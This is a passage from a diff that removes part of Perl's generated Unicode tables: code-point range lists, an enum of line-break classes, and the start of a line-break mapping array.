0xC7C9, - 0xC7E4, - 0xC7E5, - 0xC800, - 0xC801, - 0xC81C, - 0xC81D, - 0xC838, - 0xC839, - 0xC854, - 0xC855, - 0xC870, - 0xC871, - 0xC88C, - 0xC88D, - 0xC8A8, - 0xC8A9, - 0xC8C4, - 0xC8C5, - 0xC8E0, - 0xC8E1, - 0xC8FC, - 0xC8FD, - 0xC918, - 0xC919, - 0xC934, - 0xC935, - 0xC950, - 0xC951, - 0xC96C, - 0xC96D, - 0xC988, - 0xC989, - 0xC9A4, - 0xC9A5, - 0xC9C0, - 0xC9C1, - 0xC9DC, - 0xC9DD, - 0xC9F8, - 0xC9F9, - 0xCA14, - 0xCA15, - 0xCA30, - 0xCA31, - 0xCA4C, - 0xCA4D, - 0xCA68, - 0xCA69, - 0xCA84, - 0xCA85, - 0xCAA0, - 0xCAA1, - 0xCABC, - 0xCABD, - 0xCAD8, - 0xCAD9, - 0xCAF4, - 0xCAF5, - 0xCB10, - 0xCB11, - 0xCB2C, - 0xCB2D, - 0xCB48, - 0xCB49, - 0xCB64, - 0xCB65, - 0xCB80, - 0xCB81, - 0xCB9C, - 0xCB9D, - 0xCBB8, - 0xCBB9, - 0xCBD4, - 0xCBD5, - 0xCBF0, - 0xCBF1, - 0xCC0C, - 0xCC0D, - 0xCC28, - 0xCC29, - 0xCC44, - 0xCC45, - 0xCC60, - 0xCC61, - 0xCC7C, - 0xCC7D, - 0xCC98, - 0xCC99, - 0xCCB4, - 0xCCB5, - 0xCCD0, - 0xCCD1, - 0xCCEC, - 0xCCED, - 0xCD08, - 0xCD09, - 0xCD24, - 0xCD25, - 0xCD40, - 0xCD41, - 0xCD5C, - 0xCD5D, - 0xCD78, - 0xCD79, - 0xCD94, - 0xCD95, - 0xCDB0, - 0xCDB1, - 0xCDCC, - 0xCDCD, - 0xCDE8, - 0xCDE9, - 0xCE04, - 0xCE05, - 0xCE20, - 0xCE21, - 0xCE3C, - 0xCE3D, - 0xCE58, - 0xCE59, - 0xCE74, - 0xCE75, - 0xCE90, - 0xCE91, - 0xCEAC, - 0xCEAD, - 0xCEC8, - 0xCEC9, - 0xCEE4, - 0xCEE5, - 0xCF00, - 0xCF01, - 0xCF1C, - 0xCF1D, - 0xCF38, - 0xCF39, - 0xCF54, - 0xCF55, - 0xCF70, - 0xCF71, - 0xCF8C, - 0xCF8D, - 0xCFA8, - 0xCFA9, - 0xCFC4, - 0xCFC5, - 0xCFE0, - 0xCFE1, - 0xCFFC, - 0xCFFD, - 0xD018, - 0xD019, - 0xD034, - 0xD035, - 0xD050, - 0xD051, - 0xD06C, - 0xD06D, - 0xD088, - 0xD089, - 0xD0A4, - 0xD0A5, - 0xD0C0, - 0xD0C1, - 0xD0DC, - 0xD0DD, - 0xD0F8, - 0xD0F9, - 0xD114, - 0xD115, - 0xD130, - 0xD131, - 0xD14C, - 0xD14D, - 0xD168, - 0xD169, - 0xD184, - 0xD185, - 0xD1A0, - 0xD1A1, - 0xD1BC, - 0xD1BD, - 0xD1D8, - 0xD1D9, - 0xD1F4, - 0xD1F5, - 0xD210, - 0xD211, - 0xD22C, - 0xD22D, - 0xD248, - 0xD249, - 0xD264, - 0xD265, - 0xD280, - 0xD281, - 0xD29C, - 0xD29D, - 0xD2B8, - 0xD2B9, - 0xD2D4, - 0xD2D5, - 0xD2F0, - 0xD2F1, - 0xD30C, - 0xD30D, - 0xD328, - 0xD329, - 0xD344, - 0xD345, - 0xD360, - 0xD361, - 0xD37C, - 0xD37D, - 0xD398, - 0xD399, - 0xD3B4, - 0xD3B5, - 0xD3D0, - 0xD3D1, - 0xD3EC, - 0xD3ED, - 0xD408, - 0xD409, - 0xD424, - 0xD425, - 0xD440, - 0xD441, - 0xD45C, - 0xD45D, - 0xD478, - 0xD479, - 0xD494, - 0xD495, - 0xD4B0, - 0xD4B1, - 0xD4CC, - 0xD4CD, - 0xD4E8, - 0xD4E9, - 0xD504, - 0xD505, - 0xD520, - 0xD521, - 0xD53C, - 0xD53D, - 0xD558, - 0xD559, - 0xD574, - 0xD575, - 0xD590, - 0xD591, - 0xD5AC, - 0xD5AD, - 0xD5C8, - 0xD5C9, - 0xD5E4, - 0xD5E5, - 0xD600, - 0xD601, - 0xD61C, - 0xD61D, - 0xD638, - 0xD639, - 0xD654, - 0xD655, - 0xD670, - 0xD671, - 0xD68C, - 0xD68D, - 0xD6A8, - 0xD6A9, - 0xD6C4, - 0xD6C5, - 0xD6E0, - 0xD6E1, - 0xD6FC, - 0xD6FD, - 0xD718, - 0xD719, - 0xD734, - 0xD735, - 0xD750, - 0xD751, - 0xD76C, - 0xD76D, - 0xD788, - 0xD789, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFB00, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFD3E, - 0xFD3F, - 0xFD40, - 0xFDFC, - 0xFDFD, - 0xFE00, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE15, - 0xFE17, - 0xFE18, - 0xFE19, - 0xFE1A, - 0xFE20, - 0xFE30, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE47, - 0xFE48, - 0xFE49, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE54, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6B, - 0xFE6C, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF04, - 0xFF05, - 0xFF06, - 0xFF08, - 0xFF09, - 0xFF0A, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF20, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63, - 0xFF65, - 0xFF66, - 0xFF67, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE1, - 0xFFE2, - 0xFFE5, - 0xFFE7, - 0xFFF9, - 0xFFFC, - 0xFFFD, - 0x10100, - 0x10103, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x104A0, - 0x104AA, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A50, - 0x10A58, - 0x10AE5, - 0x10AE7, - 0x10AF0, - 0x10AF6, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11049, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BE, - 0x110C2, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11144, - 0x11173, - 0x11174, - 0x11175, - 0x11176, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x1122C, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x1123F, - 0x112A9, - 0x112AA, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x1144B, - 0x1144F, - 0x11450, - 0x1145A, - 0x1145B, - 0x1145C, - 0x114B0, - 0x114C4, - 0x114D0, - 0x114DA, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115C2, - 0x115C4, - 0x115C6, - 0x115C9, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x11643, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x1173C, - 0x1173F, - 0x118E0, - 0x118EA, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A40, - 0x11A41, - 0x11A45, - 0x11A46, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA1, - 0x11AA3, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C46, - 0x11C50, - 0x11C5A, - 0x11C70, - 0x11C71, - 0x11C72, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12470, - 0x12475, - 0x13258, - 0x1325B, - 0x1325E, - 0x13282, - 0x13283, - 0x13286, - 0x13287, - 0x13288, - 0x13289, - 0x1328A, - 0x13379, - 0x1337A, - 0x1337C, - 0x145CE, - 0x145CF, - 0x145D0, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AF0, - 0x16AF5, - 0x16AF6, - 0x16B30, - 0x16B37, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x16B50, - 0x16B5A, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1DA8B, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1F000, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F385, - 0x1F386, - 0x1F39C, - 0x1F39E, - 0x1F3B5, - 0x1F3B7, - 0x1F3BC, - 0x1F3BD, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F4A0, - 0x1F4A1, - 0x1F4A2, - 0x1F4A3, - 0x1F4A4, - 0x1F4A5, - 0x1F4AA, - 0x1F4AB, - 0x1F4AF, - 0x1F4B0, - 0x1F4B1, - 0x1F4B3, - 0x1F500, - 0x1F507, - 0x1F517, - 0x1F525, - 0x1F532, - 0x1F54A, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5D4, - 0x1F5DC, - 0x1F5F4, - 0x1F5FA, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F676, - 0x1F679, - 0x1F67C, - 0x1F680, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -typedef enum { - LB_Alphabetic = 0, - LB_Break_After = 1, - LB_Break_Before = 2, - LB_Break_Both = 3, - LB_Break_Symbols = 4, - LB_Carriage_Return = 5, - LB_Close_Parenthesis = 6, - LB_Close_Punctuation = 7, - LB_Combining_Mark = 8, - LB_Contingent_Break = 9, - LB_E_Base = 10, - LB_E_Modifier = 11, - LB_Exclamation = 12, - LB_Glue = 13, - LB_H2 = 14, - LB_H3 = 15, - LB_Hebrew_Letter = 16, - LB_Hyphen = 17, - LB_Ideographic = 18, - LB_Infix_Numeric = 19, - LB_Inseparable = 20, - LB_JL = 21, - LB_JT = 22, - LB_JV = 23, - LB_Line_Feed = 24, - LB_Mandatory_Break = 25, - LB_Next_Line = 26, - LB_Nonstarter = 27, - LB_Numeric = 28, - LB_Open_Punctuation = 29, - LB_Postfix_Numeric = 30, - LB_Prefix_Numeric = 31, - LB_Quotation = 32, - LB_Regional_Indicator = 33, - LB_Space = 34, - LB_Word_Joiner = 35, - LB_ZWJ = 36, - LB_ZWSpace = 37, - LB_EDGE = 38 -} LB_enum; - -static const LB_enum _Perl_LB_invmap[] = { /* for ASCII/Latin1 */ - LB_Combining_Mark, - LB_Break_After, - LB_Line_Feed, - LB_Mandatory_Break, - LB_Carriage_Return, - LB_Combining_Mark, - LB_Space, - LB_Exclamation, - LB_Quotation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Quotation, - LB_Open_Punctuation, - LB_Close_Parenthesis, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Infix_Numeric, - LB_Hyphen, - LB_Infix_Numeric, - LB_Break_Symbols, - LB_Numeric, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Prefix_Numeric, - LB_Close_Parenthesis, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Break_After, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Next_Line, - LB_Combining_Mark, - LB_Glue, - LB_Open_Punctuation, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Glue, - LB_Combining_Mark, - LB_Glue, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Exclamation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Exclamation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Postfix_Numeric, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Glue, - LB_Break_Before, - LB_Break_After, - LB_Glue, - LB_Exclamation, - LB_Glue, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Glue, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_JL, - LB_JV, - LB_JT, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Nonstarter, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Glue, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Glue, - LB_Break_After, - LB_ZWSpace, - LB_Combining_Mark, - LB_ZWJ, - LB_Combining_Mark, - LB_Break_After, - LB_Glue, - LB_Break_After, - LB_Break_Both, - LB_Alphabetic, - LB_Quotation, - LB_Open_Punctuation, - LB_Quotation, - LB_Open_Punctuation, - LB_Quotation, - LB_Alphabetic, - LB_Inseparable, - LB_Break_After, - LB_Mandatory_Break, - LB_Combining_Mark, - LB_Glue, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Nonstarter, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Word_Joiner, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Inseparable, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Exclamation, - LB_Ideographic, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - 